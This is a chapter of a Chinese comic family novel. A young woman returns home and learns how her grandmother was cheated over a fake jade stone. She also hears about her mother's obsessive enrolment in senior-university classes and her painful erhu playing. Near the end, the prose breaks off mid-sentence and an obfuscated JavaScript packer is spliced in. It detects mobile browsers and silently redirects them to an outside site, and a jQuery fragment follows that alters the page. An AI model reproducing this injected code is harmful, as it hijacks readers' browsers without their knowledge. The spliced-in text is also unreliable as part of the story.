桌上没几个正经菜。除了常建民下班路上买的卤菜和包子,剩下的全是为过年准备的半成品,什么腌鱼、腊肠、鱼丸、肉丸、藕夹……
作为接风宴来说,略显寒酸。
常乐嗦着筷子,巡视一圈,实在找不到对胃口的菜,只好端起热米酒,浅尝了一口。
“来来来,一起干一杯。”林文娟举起杯子,“欢迎乐宝回家!”
杯子碰撞,发出清脆的声响。
姥姥略带歉意地说:“对不住啊乐乐,我这一不留神没注意时间,回来得太晚了。今天就将就着吃一顿,明天我给你炖鸡汤。”
常乐抓起个肉包子塞嘴里,视线在姥姥和姥爷之间来回打转,琢磨着应该先从谁下手。
一个有上当受骗的风险,一个是老房子疑似着火。
还是前者更紧急。
她轻咳两声,一本正经地看向姥姥。
“姥儿,你去做那电疗,有效果吗?”
“应该……有点用吧……”姥姥语气不太自信,“听小杨说,这是什么微波电流,跟家里用的电不一样,可以疏通血管、排出毒素、震碎结石什么的……哎,我就是去体验一下,反正是免费的嘛。”
常乐狐疑地蹙起眉,提醒她:“要是那个小杨向你推销,你可千万别买!”
“放心吧,她骗不了我。”姥姥摆摆手,“我活了大半辈子,什么骗术没见过?现在没人能从我手里骗走一分钱。”
常乐和林文娟交换了个不信任的眼神。
……骗术是见得多,可是当也没少上。
常乐犹记得,去年姥姥跟几个老姐妹参加了一个旅行团,环游云贵川六天七夜,只要698——这价格,就差把“前方有坑”写脸上了。
出发前,常乐和林文娟千叮咛万嘱咐,姥姥拍着胸脯,自信满满:“放心,我知道这种低价旅行团的套路,就是让你购物,他们拿提成。我不买不就行了嘛。钱在我手里,他们还能硬抢不成?”
出发时,一个行李包轻装上阵,潇洒得仿佛江湖剑客;回家时,大包小包搬进搬出,阔气得如同海外代购。
常乐挨个打开看,什么鲜花饼、羊肚菌、普洱茶,这就罢了,还有两只雕花银手镯,一副两千多——姥姥解释说,银价本身不贵,但这个打镯子的老工匠是非遗最后一位传承人,这雕花的手艺马上就要失传了。他现在眼睛不好,一年只做十二只镯子,外人花钱都买不到呢!
常乐:“……”
你这不就花钱买到了吗?
她欲言又止,心想,老人出去玩一趟不容易,钱花就花了吧,情绪价值给到位就行了呗。
翻到最后,她翻出一个沉甸甸的、用丝巾层层包裹的东西,打开一看,是一块灰不溜秋的石头,个头跟香瓜差不多大。
“这又是啥啊?”常乐直觉这东西才是主角,心中已有不祥的预感。
“小心点!”姥姥急忙从她手里捧起这块石头,小心翼翼地放在桌上,两眼直放光,“这是玉石,能开出翡翠。等你结婚的时候,给你打一套镯子。”
常乐:“……”
怕刺激老人,她只能旁敲侧击地问:“你这……哪家店买的?有票据吗?”
“是在一个玉石拍卖会买的,放心吧,是正规的。工作人员当场拿那个什么灯照过,里头肯定有玉,好多人举牌抢呢!”
拍卖啊……
听上去更贵了。
“好多人抢,最后给你抢到了?”
“没有,是被一个做玉石生意的老板抢到了。导游跟他说,我外孙女要结婚了,我想给她打一套嫁妆。那老板人挺好,同意让给我了。”
常乐:“…………”
她终于忍不住问:“多少钱啊?”
“哎,没多少。”姥姥重新用丝巾将石头包起来,抱在怀里,美美地畅想着:“要是开出来的翡翠品质好,还能赚不少呢。”
常乐此后再没见过这块石头。
她是个八卦心极强的人,不蹲到后续都睡不着觉。
几个月后,她找到跟姥姥一起报团的孙奶奶打听,没想到孙奶奶还挺仗义,拒绝出卖自己的好闺蜜:“嗐,这谁记得住啊?千金难买心头好,你姥姥喜欢就行了,管他钱多钱少呢。”
“我就是好奇嘛。”常乐笑眯眯地说,“姥姥跟我说,你花八千六买了个玉镯,跟家里人说只花了三千。”
孙奶奶的笑容僵在了脸上。
常乐乘胜追击:“她还说,你在抖音直播间买了块翡翠,花了五千多,结果是假货,还退不了。这事你家里人还不知道吧?”
孙奶奶脸都气绿了,什么姐妹情深统统抛之脑后。
她嚷嚷道:“她还好意思说我?自己花一万五买了块破石头,我劝她还不听,还怪我拦着她发财!”
“夺、夺少?”常乐两眼一黑,腿软得差点站不稳。
她稳了稳呼吸,内心还抱有一丝侥幸:“那石头里真的有玉吗?”
“谁知道呢?开石的时候也没叫上我。”孙奶奶撇撇嘴,“我估摸着是没有,不然早就跟我显摆上了。”
“她已经开了?”常乐觉得难以置信,“自己锯开的?”
孙奶奶乐了:“当然不是了。北门街上有家铺子可以开玉石,我跟你姥姥提了一嘴,她八成是上那儿去了。”
谢过孙奶奶后,常乐又马不停蹄地赶往北门街,很快找到那家玉石铺。一进门就直奔柜台,向老板询问是否有个老婆婆来开石。
听她描述完姥姥的外貌特征,老板想起来了:“哦——那是你家老人啊?对对对,她是来过,抱着一块石头让我开。我收她两百她还不乐意,说要开出玉来再给,我当然不答应啊。掰扯半天,她最后只给了一百。我看她是个老人,就算了。”
“那……开出玉了吗?”
老板咧嘴笑了:“肯定没有啊,外面啥样里头还是啥样。老婆婆还不信,要我继续对半切,最后都切得稀碎了,只剩下一堆石头渣。”
老板有些于心不忍,叹了口气,继续说:“我干这行多少年了,看一眼就知道这石头肯定是假的。又听她说这是旅游买的,那妥妥的被人做局给骗了啊!她最后走的时候还挺伤心的,石头渣还抱在怀里,舍不得扔呢。”
常乐怔怔地说不出话。
老板安慰她:“唉,这种事我见得多了。我记得几年前有个男的,抱着这么大一块石头——”他双手比划着大小,“说里头有顶级祖母绿,结果开出来只有这么一丢丢——”他又伸出小拇指,“糯种,也就值个一两千吧。问他多少钱买的——”老板话音一顿,撇了撇嘴,又慢悠悠地喝了口茶,似乎在等常乐主动开口问。
常乐果然憋不住了:“多少啊?”
老板放下茶杯,双目炯炯,语气铿锵:“十六万八!”
常乐嘶了一口凉气。
“那男人刚走出店门,就一头栽倒在地上,还是我叫的救护车。”老板唏嘘道,“赌石这一行水太深了,发家致富的没几个,家破人亡的一大把。你回去好好安慰你家老人吧,就当花钱买个教训,以后把钱袋子捂紧了。”
为了保护老人敏感的自尊心和脆弱的心血管,常乐回家后没有再提此事。
但是每每想起那块石头,她总忍不住扼腕叹息:一万五,她三个月的工资、十个月的房租、一天三顿拼好饭、能吃整整两年啊!
见常乐神色凝重,林文娟猜到她的心思,安慰说:“放心吧,你姥姥的银行卡都在我手上,密码都改了,全身上下包括手机里不超过两百块钱。她现在能被骗的,只有两个腰子。”
姥姥气得拿筷子敲她脑袋:“我这俩老腰子能值几个钱?爆炒还嫌肉柴呢。”
一桌人都笑了。
常乐也不再纠结了。
这不是还没被骗嘛。等对方图穷匕见了,她再见招拆招呗。
常乐又问林文娟:“妈,你怎么也这么晚才回?你们现在的学习压力这么大呢?”
林文娟半年前从医院退休,因为不想再重复以前的生活,所以她拒绝了医院的返聘和几家私立医院的邀请。在老同事的推荐下,她去了附近一所老年大学咨询和试听,从此打开新世界的大门。
两百块就能报一门课,学的是琴棋书画之类的高雅艺术,还没有考试和升学的压力。
世上竟有这种好事?
她一口气报了四门,按照课程表重新规划自己的每日行程,从此生活又充满了节奏感。
只是,她的卷王属性渐渐暴露,开始不满足于一周只上四节课……
“你妈疯了。”常建民叹气道。
“怎么说话呢?”林文娟斜乜他一眼,“我这是勤奋好学,刻苦上进,退休后也不忘提升自我。我们院长说我是前所未有的好学生,书法老师说我的笔触有米芾的神韵,二胡老师说我是班上第一个能拉出一首完整的曲子的,还有……”
趁她喋喋不休之际,常乐小声问常建民:“她怎么疯了?”
常建民偷瞄了林文娟一眼,吐槽道:“老年大学有规定,每学期最多能报四
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585066|171701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个班,你妈嫌不够,又跑到其它几个区的老年大学,总共报了十二个!”
常乐:“……”
十二个?这是要考研呐?
常建民继续诉苦:“问题是,她不敢开车,所以要我送她去上课,我这一天天的,上午去东山区,下午去南港区,晚上回北湖区,周末还得陪她去参加什么家校共育活动……哎哟喂,比上班还累啊!”
常乐唏嘘一声,以示同情。
林文娟听到父女俩在蛐蛐她,不服气地说:“我热爱学习还有错啦?而且一门课才两百块,上哪儿找这么便宜的培训班?”
不愧是姥姥的女儿,薅羊毛的天赋真是一脉相承。
“那你也没必要报一样的课吧?光是那二胡课,你就报了三个!”
“进度不一样嘛,而且乐器就是要多多练习啊,一周上三节,本来就不多。”
常乐恍然大悟:“难怪你是第一个能拉出一首完整曲子的,原来是题海战术啊。”
林文娟挑挑眉,脸上写满了卷王的骄傲。
常乐好奇地问:“你的二胡呢?给我展示一下你的学习成果呗。”
常建民和姥姥姥爷都微微变了脸色。
“好啊。”林文娟立马起身,“在楼上,我去拿。”
常建民干笑两声:“我看没这个必要吧,饭还没吃完呢。”
林文娟没理他,转身离开了餐桌,出门噔噔地往楼上跑。
等她回来时,餐桌边只剩下一个常乐。
“人呢?”
常乐左右张望,“姥爷去看胜宝了,姥姥在厨房,爸去上厕所了。”
……大家突然都忙起来了。
“哎,不管他们了。”林文娟打开琴匣,取出二胡和琴弓,坐在椅子上摆好架势,正要起范儿,余光瞥见姥姥从厨房里走了出来。
她急忙喊道:“妈,过来啊!你不是最喜欢这首《赛马》吗?”
姥姥在厨房门口踟蹰半天,这才慢吞吞地走了过来,坐下时,顺手取下了耳朵上的助听器。
常乐:“……”
不妙啊。
林文娟又伸长脖子,冲洗手间大吼:“常建民!把屎夹断了给我滚出来!”
洗手间传来冲水声,几秒钟后,常建民蔫巴巴地出来了,小声嘟囔着:“叫我干啥啊?我在家天天听……”
林文娟把手机递给他:“给我录个视频,我要发给老师看。”
一切准备就绪,林文娟煞有介事地清了清嗓,挺直腰背,右手开弓——
调子一起,常乐就感觉天灵盖被一脚踢飞了。
这首曲子叫什么来着?《赛马》?她没记错吧?
应该叫《杀驴》。
伴随着尖锐爆鸣的音调,常乐仿佛能看到一头驴跌宕起伏的一生——驴拉磨哼哧带喘,驴打滚死皮赖脸,驴恋爱了鬼迷日眼,驴发.情了,驴发狠了,驴发癫了,驴发猪瘟了,驴嘎了……
静默几秒后——
驴又活了,这一次它是扭轱辘·真驴……
一曲终了,余音袅袅,屋里响起稀稀拉拉的掌声。
姥姥又戴上了助听器,姥爷也从某个角落慢悠悠地晃了出来。
常乐叹服:姜还是老的辣啊。
“怎么样怎么样?”
面对林文娟充满期待的眼神,常乐拱起两腮的肉,咧开嘴角,连连点头:“不错不错。”
林文娟还等着她发表高见,没想到就这俩字,她颇为不满:“还大学生呢,词汇量还比不上卖菜的老大爷。”
常乐绞尽脑汁,努力回忆着高中语文课本,有句诗是怎么说来着?
呕哑嘲哳难为听。
不行不行,这句她听得懂。
后面还有一句——
常乐摇头晃脑,字正腔圆道:“如听阴乐耳暂冥。”
常建民哼嗤一笑:“书都读到狗肚子里了。什么音乐?那是仙乐。”
“是是是。”常乐点头如啄米,“仙乐,仙乐。”
林文娟终于满意了。她收好二胡,拿起手机回看了一遍自己演奏的视频,然后打开微信,发给一个叫“钟二胡”的人。
没过一会儿,就收到了回复。
林文娟满脸喜悦,举起手机向众人展示,洋洋得意道:“看吧,钟大师夸我了。”
常乐凑近一看,“大师”发来了一串大拇指,还说:【有很大的进步】
紧接着,又弹出俩字:
【空间】
常乐憋笑差点憋出内伤。